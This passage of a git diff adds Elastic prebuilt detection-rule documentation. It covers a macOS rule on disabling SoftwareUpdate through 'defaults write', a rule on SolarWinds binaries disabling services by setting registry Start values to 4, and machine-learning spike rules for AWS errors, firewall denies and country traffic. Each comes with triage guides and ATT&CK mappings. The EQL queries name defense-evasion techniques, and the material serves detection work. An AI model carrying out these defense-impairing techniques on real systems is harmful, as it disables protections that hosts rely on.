preferences using the built-in defaults command. Adversaries may abuse this in an attempt to disable security updates. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SoftwareUpdate Preferences Modification* + + +In macOS environments, the SoftwareUpdate preferences manage system updates, crucial for maintaining security. Adversaries may exploit the 'defaults' command to alter these settings, potentially disabling updates to evade defenses. The detection rule identifies such modifications by monitoring specific command executions that attempt to change update preferences without enabling them, signaling potential malicious activity. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the 'defaults' command with arguments attempting to modify SoftwareUpdate preferences, specifically looking for 'write', '-bool', and the targeted preferences file paths. +- Check the user account associated with the process execution to determine if it aligns with expected administrative activity or if it might be indicative of unauthorized access. +- Investigate the host's recent activity for any other suspicious processes or commands that may suggest a broader attempt to impair system defenses or evade detection. +- Examine system logs and security alerts around the time of the detected event to identify any correlated activities or anomalies that could provide additional context or evidence of malicious intent. +- Assess the current state of the SoftwareUpdate preferences on the affected host to verify if updates have been disabled or altered, and take corrective actions if necessary. + + +*False positive analysis* + + +- System administrators may use the defaults command to configure SoftwareUpdate settings during routine maintenance. To handle this, create exceptions for known administrative scripts or processes that frequently execute these commands. +- Automated configuration management tools might alter SoftwareUpdate preferences as part of their standard operations. Identify these tools and exclude their process identifiers from triggering the rule. +- Some legitimate applications may require specific update settings and modify preferences accordingly. Monitor and whitelist these applications to prevent unnecessary alerts. +- User-initiated changes to update settings for personal preferences can trigger false positives. Educate users on the implications of such changes and consider excluding user-specific processes if they are consistently non-threatening. +- During system setup or reconfiguration, defaults commands may be used to establish baseline settings. Temporarily disable the rule or set up a temporary exception during these periods to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential spread or further unauthorized changes. +- Review the process execution logs to confirm the unauthorized use of the 'defaults' command and identify any associated user accounts or processes. +- Revert any unauthorized changes to the SoftwareUpdate preferences by resetting them to their default state using the 'defaults' command with appropriate parameters. +- Conduct a thorough scan of the affected system for additional signs of compromise, such as malware or unauthorized access attempts, using endpoint security tools. +- Change passwords and review permissions for any user accounts involved in the incident to prevent further unauthorized access. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement enhanced monitoring for similar command executions across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "defaults" and + process.args like "write" and process.args like "-bool" and process.args like~ ("com.apple.SoftwareUpdate", "/Library/Preferences/com.apple.SoftwareUpdate.plist") and not process.args like ("TRUE", "true") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-solarwinds-process-disabling-services-via-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-solarwinds-process-disabling-services-via-registry.asciidoc new file mode 100644 index 0000000000..9dc0871878 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-solarwinds-process-disabling-services-via-registry.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-solarwinds-process-disabling-services-via-registry]] +=== SolarWinds Process Disabling Services via Registry + +Identifies a SolarWinds binary modifying the start type of a service to be disabled. An adversary may abuse this technique to manipulate relevant security services. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SolarWinds Process Disabling Services via Registry* + + +SolarWinds software is integral for network management, often requiring deep system access. Adversaries may exploit this by altering registry settings to disable critical services, evading detection. The detection rule identifies changes to service start types by specific SolarWinds processes, flagging potential misuse aimed at disabling security defenses. This proactive monitoring helps mitigate risks associated with unauthorized registry modifications. + + +*Possible investigation steps* + + +- Review the process name involved in the alert to confirm it matches one of the specified SolarWinds processes, such as "SolarWinds.BusinessLayerHost*.exe" or "NetFlowService*.exe". +- Examine the registry path in the alert to ensure it corresponds to the critical service start type locations, such as "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\Start". +- Check the registry data value to verify if it has been set to "4" (disabled), indicating a potential attempt to disable a service. +- Investigate the timeline of the registry change event to identify any preceding or subsequent suspicious activities on the host. +- Correlate the alert with other security logs or alerts from data sources like Sysmon or Microsoft Defender XDR to identify any related malicious activities or patterns. +- Assess the impacted service to determine its role in security operations and evaluate the potential impact of it being disabled. +- Contact the system owner or administrator to verify if the registry change was authorized or part of a legitimate maintenance activity. + + +*False positive analysis* + + +- Routine updates or maintenance by SolarWinds software may trigger registry changes. Verify if the process corresponds to a scheduled update or maintenance task and consider excluding these specific processes during known maintenance windows. +- Legitimate configuration changes by IT administrators using SolarWinds tools can appear as registry modifications. Confirm with the IT team if the changes align with authorized configuration activities and create exceptions for these known activities. +- Automated scripts or tools that utilize SolarWinds processes for legitimate network management tasks might cause false positives. Review the scripts or tools in use and whitelist them if they are verified as safe and necessary for operations. +- Temporary service modifications for troubleshooting purposes by SolarWinds processes can be mistaken for malicious activity. Ensure that any troubleshooting activities are documented and create temporary exceptions during these periods. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized registry modifications and potential lateral movement by the adversary. +- Terminate any suspicious SolarWinds processes identified in the alert, such as "SolarWinds.BusinessLayerHost*.exe" or "NetFlowService*.exe", to halt any ongoing malicious activity. +- Restore the registry settings for the affected services to their original state, ensuring that critical security services are re-enabled and configured to start automatically. +- Conduct a thorough review of the affected system for additional signs of compromise, including unauthorized user accounts, scheduled tasks, or other persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement enhanced monitoring on the affected system and similar environments to detect any future unauthorized registry changes, leveraging data sources like Sysmon and Microsoft Defender XDR. +- Review and update access controls and permissions for SolarWinds processes to limit their ability to modify critical system settings, reducing the risk of future exploitation. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : "Start" and + process.name : ( + "SolarWinds.BusinessLayerHost*.exe", + "ConfigurationWizard*.exe", + "NetflowDatabaseMaintenance*.exe", + "NetFlowService*.exe", + "SolarWinds.Administration*.exe", + "SolarWinds.Collector.Service*.exe", + "SolarwindsDiagnostics*.exe" + ) and + registry.path : "*\\SYSTEM\\*ControlSet*\\Services\\*\\Start" and + registry.data.strings : ("4", "0x00000004") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-aws-error-messages.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-aws-error-messages.asciidoc new file mode 100644 index 0000000000..79e90c1415 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-aws-error-messages.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-spike-in-aws-error-messages]] +=== Spike in AWS Error Messages + +A machine learning job detected a significant spike in the rate of a particular error in the CloudTrail messages. Spikes in error messages may accompany attempts at privilege escalation, lateral movement, or discovery. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide +* Platform: AWS + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Spike in AWS Error Messages* + + +CloudTrail logging provides visibility on actions taken within an AWS environment. By monitoring these events and understanding what is considered normal behavior within an organization, you can spot suspicious or malicious activity when deviations occur. + +This rule uses a machine learning job to detect a significant spike in the rate of a particular error in the CloudTrail messages. Spikes in error messages may accompany attempts at privilege escalation, lateral movement, or discovery. + + +*Possible investigation steps* + + +- Examine the history of the error. If the error only manifested recently, it might be related to recent changes in an automation module or script. You can find the error in the `aws.cloudtrail.error_code field` field. +- Investigate other alerts associated with the user account during the past 48 hours. +- Validate the activity is not related to planned patches, updates, or network administrator activity. +- Examine the request parameters. These may indicate the source of the program or the nature of the task being performed when the error occurred. + - Check whether the error is related to unsuccessful attempts to enumerate or access objects, data, or secrets. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Contact the account owner and confirm whether they are aware of this activity if suspicious. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- Examine the history of the command. If the command only manifested recently, it might be part of a new automation module or script. If it has a consistent cadence (for example, it appears in small numbers on a weekly or monthly cadence), it might be part of a housekeeping or maintenance process. You can find the command in the `event.action field` field. +- The adoption of new services or the addition of new functionality to scripts may generate false positives. + + +*Related Rules* + + +- Unusual City For an AWS Command - 809b70d3-e2c3-455e-af1b-2626a5a1a276 +- Unusual Country For an AWS Command - dca28dee-c999-400f-b640-50a081cc0fd1 +- Unusual AWS Command for a User - ac706eae-d5ec-4b14-b4fd-e8ba8086f0e1 +- Rare AWS Error Code - 19de8096-e2b0-4bd8-80c9-34a820813fff + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from AWS. + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*AWS Integration Setup* + +The AWS integration allows you to collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "aws" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “AWS” and select the integration to see more details about it. +- Click “Add AWS”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “aws” to an existing or a new agent policy, and deploy the agent on your system from which aws log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://www.elastic.co/docs/current/integrations/aws[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-firewall-denies.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-firewall-denies.asciidoc new file mode 100644 index 0000000000..f5df9d6f05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-firewall-denies.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-34-spike-in-firewall-denies]] +=== Spike in Firewall Denies + +A machine learning job detected an unusually large spike in network traffic that was denied by network access control lists (ACLs) or firewall rules. Such a burst of denied traffic is usually caused by either 1) a mis-configured application or firewall or 2) suspicious or malicious activity. Unsuccessful attempts at network transit, in order to connect to command-and-control (C2), or engage in data exfiltration, may produce a burst of failed connections. This could also be due to unusually large amounts of reconnaissance or enumeration traffic. Denial-of-service attacks or traffic floods may also produce such a surge in traffic. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Data Source: Elastic Defend +* Data Source: Network Packet Capture +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide +* Domain: Network +* Domain: Endpoint + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Firewall Denies* + + +Firewalls and ACLs are critical in controlling network traffic, blocking unauthorized access. Adversaries may exploit misconfigurations or launch attacks like reconnaissance or denial-of-service to overwhelm these defenses. The 'Spike in Firewall Denies' detection rule leverages machine learning to identify unusual surges in denied traffic, signaling potential misconfigurations or malicious activities. + + +*Possible investigation steps* + + +- Review the time frame and source IP addresses associated with the spike in denied traffic to identify any patterns or anomalies. +- Check the firewall and ACL logs for any recent changes or misconfigurations that could have led to the increase in denied traffic. +- Investigate the destination IP addresses and ports targeted by the denied traffic to determine if they are associated with known malicious activity or if they are legitimate services. +- Analyze the volume and frequency of the denied requests to assess whether they align with typical denial-of-service attack patterns or reconnaissance activities. +- Correlate the denied traffic with other security alerts or logs to identify any related suspicious activities or potential indicators of compromise within the network. + + +*False positive analysis* + + +- Routine network scans by security tools or IT teams may trigger spikes in denied traffic. Regularly review and whitelist known IP addresses or tools to prevent these from being flagged. +- Misconfigured applications that frequently attempt unauthorized access can cause false positives. Identify and correct these configurations to reduce unnecessary alerts. +- Legitimate but high-volume business applications might generate traffic patterns similar to reconnaissance activities. Monitor and document these applications, and create exceptions for their traffic patterns. +- Scheduled maintenance or updates can lead to temporary spikes in denied traffic. Coordinate with IT teams to anticipate these events and adjust monitoring rules accordingly. +- Internal network changes, such as new device deployments or network architecture updates, might cause unexpected traffic patterns. Ensure these changes are communicated and accounted for in the firewall rules to minimize false positives. + + +*Response and remediation* + + +- Immediately isolate affected systems or segments of the network to prevent further unauthorized access or potential spread of malicious activity. +- Analyze the denied traffic logs to identify the source IP addresses and block them at the firewall or ACL level to prevent further attempts. +- Review and correct any misconfigurations in firewall rules or ACLs that may have contributed to the spike in denied traffic. +- Conduct a thorough investigation to determine if the spike is related to a denial-of-service attack and, if confirmed, engage with your internet service provider (ISP) for additional support and mitigation strategies. +- If malicious activity is suspected, escalate the incident to the security operations center (SOC) or incident response team for further analysis and response. +- Implement additional monitoring and alerting for similar patterns of denied traffic to enhance early detection of potential threats. +- Document the incident, including actions taken and lessons learned, to improve future response efforts and update incident response plans accordingly. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Gather Victim Network Information +** ID: T1590 +** Reference URL: https://attack.mitre.org/techniques/T1590/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-network-traffic-to-a-country.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-network-traffic-to-a-country.asciidoc new file mode 100644 index 0000000000..945972df39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-spike-in-network-traffic-to-a-country.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-34-spike-in-network-traffic-to-a-country]] +=== Spike in Network Traffic To a Country + +A machine learning job detected an unusually large spike in network activity to one destination country in the network logs. This could be due to unusually large amounts of reconnaissance or enumeration traffic. Data exfiltration activity may also produce such a surge in traffic to a destination country that does not normally appear in network traffic or business workflows. Malware instances and persistence mechanisms may communicate with command-and-control (C2) infrastructure in their country of origin, which may be an unusual destination country for the source network. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Data Source: Elastic Defend +* Data Source: Network Packet Capture +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide +* Domain: Network +* Domain: Endpoint + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Spike in Network Traffic To a Country* + + +Monitoring network traffic for anomalies is a good methodology for uncovering various potentially suspicious activities. For example, data exfiltration or infected machines may communicate with a command-and-control (C2) server in another country your company doesn't have business with. + +This rule uses a machine learning job to detect a significant spike in the network traffic to a country, which can indicate reconnaissance or enumeration activities, an infected machine being used as a bot in a DDoS attack, or potentially data exfiltration. + + +*Possible investigation steps* + + +- Identify the specifics of the involved assets, such as role, criticality, and associated users. +- Investigate other alerts associated with the involved assets during the past 48 hours. +- Examine the data available and determine the exact users and processes involved in those connections. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Consider the time of day. If the user is a human (not a program or script), did the activity occurs during working hours? +- If this activity is suspicious, contact the account owner and confirm whether they are aware of it. + + +*False positive analysis* + + +- Understand the context of the connections by contacting the asset owners. If this activity is related to a new business process or newly implemented (approved) technology, consider adding exceptions — preferably with a combination of user and source conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. + - Remove and block malicious artifacts identified during triage. +- Consider implementing temporary network border rules to block or alert connections to the target country, if relevant. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the 